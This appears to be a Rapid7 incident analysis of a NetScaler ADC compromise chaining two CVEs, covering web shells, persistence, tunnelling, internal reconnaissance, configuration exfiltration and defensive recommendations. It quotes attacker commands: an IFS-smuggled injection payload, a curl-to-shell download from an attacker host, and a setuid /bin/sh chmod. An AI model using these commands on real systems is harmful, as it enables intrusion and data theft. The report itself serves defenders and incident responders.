Rapid7 Analysis: NetScaler intrusions chaining CVE-2026-88771 and CVE-2026-88779

Overview

In early October 2026, Rapid7 analysts investigated a compromise of a Citrix NetScaler ADC appliance. The appliance was running an affected 14.1 build and was exposed to active exploitation targeting NetScaler authentication and SAML deployments.

The intrusion achieved root code execution, deployed multiple persistence mechanisms, installed PHP web shells, created outbound command-and-control and internal tunnelling capabilities, performed targeted reconnaissance of DNS, LDAP/Active Directory, management services and VMware vCenter infrastructure, and exfiltrated NetScaler configuration and key material.

The activity overlaps with public reporting on the WHIPSHOT/SLAPSHOT NetScaler campaign. However, this case provides additional detail on the operational lifecycle, including repeated post-reboot execution through the crash-handling workflow, HA-aware persistence, a dedicated Go reconnaissance tool, a separate FreeBSD proxy agent, and a staged collection pipeline.

Key findings

• The first confirmed root execution occurred shortly after attacker-controlled text was inserted into a NetScaler authentication username.

• The injected text caused or immediately preceded repeated nsaaad crashes and a Pitboss reboot.

• After reboot, the NetScaler call-home crash handler processed the retained attacker-controlled text and executed a payload as root.

• The attacker installed cookie-authenticated PHP web shells behind CSS-looking Apache aliases.

• The attacker set /bin/sh to mode 6555, allowing an unprivileged web process to obtain effective root privileges.

• The implant framework maintained access through cron, rc.netscaler, watchdog loops, an outbound reverse agent, and an HTTP-fronted TCP proxy.

• HA synchronization and forced failover logic attempted to preserve access across the appliance pair.

• A Go tool mapped internal routes, DNS, LDAP/AD, management services and VMware vCenter systems. 

• NetScaler configuration, historical configurations, HTTP configuration, diagnostics and system backup material were staged for exfiltration.

Technical Analysis

Initial access

The first event was an authentication request containing attacker-controlled text similar to:

pitboss PPE unexpectedly died NSPPE;fetch${IFS}-qo${IFS}/v ...;sh${IFS}/v;#

The observed chain was:

Figure 1: Sequence diagram showing the attack chain

Logs collected show attackers chaining CVE-2026-88771, the pre-authentication log-poisoning/RCE issue, with CVE-2026-88779, the separate SAML-parsing crash. A two-vulnerability sequence in which the SAML parsing flaw supplies a crash/reboot condition while the log-poisoning flaw supplies attacker-controlled command text.

The evidence demonstrates more than an attempted chain: the injected command, nsaaad crash loop, Pitboss reboot, post-reboot handler activity, and root payload execution are all directly correlated across independent logs and filesystem timestamps. The first implant files were created at the same second as the first logged post-reboot execution, and later stages, web shells, tunnels, reconnaissance tooling and exfiltration were confirmed.

Rapid7 also published an ETR on the Netscaler zero days currently exploited in the wild.

Repeated post-reboot execution

The initial execution was not a one-time event. The appliance recorded repeated Pitboss-initiated reboots and repeated call-home handler executions over several days.

The handler re-executed stages from multiple infrastructure addresses and the repeated execution model allowed the operator to refresh persistence, deploy new components and continue collection after appliance restarts.

The crash-handling path functioned as a delayed and repeatable execution trampoline, the chaining happened to avoid waiting 24h for the injected payload to run.

Payload evolution

Two .slap dropper versions were recovered:

17447d.sh (earlier version)
SHA-256: a0ba4e1ad622d9c3d950b4156d4430812d05bee216ab22c3804a9f7a80535556

and:

1.sh 
SHA-256: 6774bfed99da38cec82e721de4bd64a67db7840efadcc71e7df02eb6f0a03c44

The later version added reverse-agent functionality, relay installation, HA recovery, stage tracking, and structured upload logging, indicating operational maturation during the campaign.

The nsvmd installer branch was separately identified as:

2.sh / r.sh
SHA-256: 56a892d80096a9db4ca473a9c3109729c60a5ba901d6ba65948bdb1f4a6fb186

Persistence and web shells

The main framework used a directory under /nsconfig/.slap.

/nsconfig/.slap/vc
/nsconfig/.slap/vcscan-agent.sh
/nsconfig/.slap/agent.pl
/nsconfig/.slap/bridge.pl
/nsconfig/.slap/boot.sh
/nsconfig/.slap/reverse-agent.sh

 

It deployed three web shell copies into the LogonPoint custom web directory:

.slap.receiver
.ctxs.receiver
receiver.deb

The shells used a cookie-based command channel. Commands were supplied through a second cookie and returned through an HTTP 404 response body. The 404 response helped the shell blend into normal web traffic and made successful command requests resemble missing resources.

The attacker modified Apache configuration to:

• execute .deb files as PHP;

• enable PHP execution;

• map CSS-looking URLs to .slap.receiver;

• accept randomized hexadecimal CSS suffixes;

• preserve an attacker backup of the HTTP configuration.

The alias created were the following:

/logon/LogonPoint/custom/receiver.v2.min.css
/logon/LogonPoint/custom/receiver.v2.min.<hex>.css
        ↓
/var/netscaler/logon/LogonPoint/custom/.slap.receiver

TA repeatedly set:

chmod 6555 /bin/sh

This made the shell setuid and setgid. Because Apache normally runs with reduced privileges, this provided a path for the PHP web shell to obtain effective root privileges.

The framework also reseeded cron entries and boot hooks whenever it ran. This made the compromise resilient to reboots, image regeneration and loss of individual cron entries.

Tunnelling and command channels

The intrusion deployed multiple redundant access paths.

Perl TCP session manager

agent.pl created a loopback listener on an ephemeral port and recorded it in /tmp/.uxdport

It used /tmp/.uxdlock for process coordination and supported operations including:

ping
open
push
pull
exch
close

The open operation accepted arbitrary destination hosts and ports, turning the NetScaler into an internal TCP pivot.

Python HTTP tunnel

The Python components provided a local session manager and HTTP front end:

it accepted base64 commands in an HTTP header and returned tunnel responses in HTTP 404 bodies. This behavior overlaps with publicly reported WHIPSHOT/SLAPSHOT tooling.

Outbound reverse agent

The reverse agent polled an external command endpoint every 15 seconds, executed the received command with /bin/sh -c, and returned output using HTTP PUT. This gave the operator command execution without requiring an inbound connection to the appliance.

HA-aware persistence

The framework included explicit HA recovery logic:

sync HA files all
force HA failover

The code attempted to synchronize implant files to the HA peer and, when appropriate, force failover so the node containing the implant became active.

Internal reconnaissance

A stripped, statically linked FreeBSD Go binary was recovered from the .slap directory. The tool was designed to map infrastructure reachable from the compromised appliance.

It contains functionality associated with:

• local interface and route parsing;

• gateway-prefix discovery;

• subnet expansion;

• DNS server and domain discovery;

• DNS zone-transfer hunting;

• LDAP anonymous bind and RootDSE queries;

• LDAP searches;

• management-service checks;

• TLS certificate inspection;

• VMware vCenter classification.

A launcher named vcscan-agent.sh downloaded and validated the scanner as scanner-freebsd-amd64, installed it as /nsconfig/.slap/vc, and ran two stages: broad scanning of RFC1918 space and management-focused scanning of ranges derived from DNS and LDAP results. The launcher collected route, DNS, LDAP, management and vCenter results into files such as:

vcpersist-<token>_dns_candidates.tsv
vcpersist-<token>_dns_ldap_verified.tsv
vcpersist-<token>_vcenter_verified_all.txt

It then compressed and uploaded the results to the operator infrastructure.

This reconnaissance component addition confirms the campaign is active and developing, mapping the identity, management and virtualization infrastructure from a compromised ADC vantage point.

nsvmd proxy

The second payload branch deployed a FreeBSD Go agent named nsvmd through injection of 2.sh/r.sh under /flash/.nsvm/nsvmd:

curl${IFS}-sSLk${IFS}https://v5v.in/r.sh?k=<token>|sh

The agent was started with:

nsvmd -server v5v.in:443 -sni c.v5v.in

The installer created a 45s watchdog (/flash/.nsvm/watchdog.sh), boot persistence through /nsconfig/rc.netscaler, 5 minute and daily cron persistence (/flash/.nsvm/guard.sh,/flash/.nsvm/restart.sh) marking nsvmd immutable using chflags uchg. Agent logs were collected under /flash/.nsvm/.agent.log and /flash/.nsvm/.wd.log.

Configuration and key-material collection

The attacker staged and uploaded:

/nsconfig/
ns.conf.0 through ns.conf.4
ns.conf.bak
/etc/httpd.conf
system backup archives
implant diagnostics

The configuration archive could contain encrypted credentials, LDAP/RADIUS bind information, administrative configuration, SSL private keys and key-encryption material. The collection logic also uploaded manifests and stage logs and retried failed uploads.

A separate archive was staged in the web root and successfully downloaded through an HTTP 200 request. The response size matched the staged archive size, providing direct evidence of configuration exfiltration through the web interface.

MITRE ATT&CK techniques

Table 1: MITRE ATT&CK Tactics and Techniques

Indicators of compromise

Table 2: Malicious files and filesystem paths

Table 3: SHA-256 file hashes 

Table 4: Network indicators of compromise

Rapid7 customers

YARA rules and more IoCs are available in Rapid7’s Intelligence Hub along with ongoing intelligence on the latest campaigns.

Defensive recommendations

• Patch NetScaler appliances to the applicable CVE-2026-88779 and CVE-2026-88771 fixed builds and verify the earlier CTX697096 fixes.

• Treat Internet-facing appliances as potentially compromised if they were vulnerable during the campaign window.

• Collect volatile evidence before rebooting or rebuilding when compromise is suspected.

• Inspect both nodes of every HA pair.

• Hunt for the .slap, .relay and .nsvm paths.

• Hunt for setuid /bin/sh, unauthorized Apache PHP handlers and CSS-looking aliases.

• Search for nsaaad crashes, Pitboss reboots and ns_monuploadd_err.pl execution records.

• Rotate all credentials and keys exposed through /nsconfig, including LDAP/RADIUS credentials and encryption-related material.

• Review outbound traffic for the listed infrastructure and internal scanning from NetScaler source addresses.

Conclusion

This incident demonstrates how a NetScaler compromise can evolve from a pre-authentication injection into a persistent appliance-resident intrusion platform. The attacker combined web shells, setuid privilege persistence, outbound command execution, internal TCP tunnelling, HA manipulation, environment reconnaissance and automated configuration exfiltration.

The most significant new findings are the observed chaining of CVE-2026-88779 and CVE-2026-88771 and the dedicated reconnaissance workflow. Rather than using the ADC only as a foothold, the operator used it as a privileged vantage point to map internal networks, identity services, management infrastructure and virtualization systems. This provides defenders with additional high-value hunting opportunities and shows why patching alone is insufficient after an Internet-facing NetScaler has been exposed to active exploitation.

Additional resources

• https://www.cve.org/CVERecord?id=CVE-2026-88771

• https://www.cve.org/CVERecord?id=CVE-2026-88779

• https://www.rapid7.com/blog/post/etr-zero-day-exploitation-of-citrix-netscaler-adc-and-gateway-cve-2026-88771-and-cve-2026-88772/

• https://www.rapid7.com/blog/post/etr-zero-day-exploitation-of-citrix-netscaler-adc-and-gateway-cve-2026-88771-and-cve-2026-88772/

• https://www.cisa.gov/news-events/alerts/2026/09/27/critical-zero-day-vulnerabilities-exploited-citrix-netscaler-adc-gateway

• https://unit42.paloaltonetworks.com/netscaler-zero-days-exploited/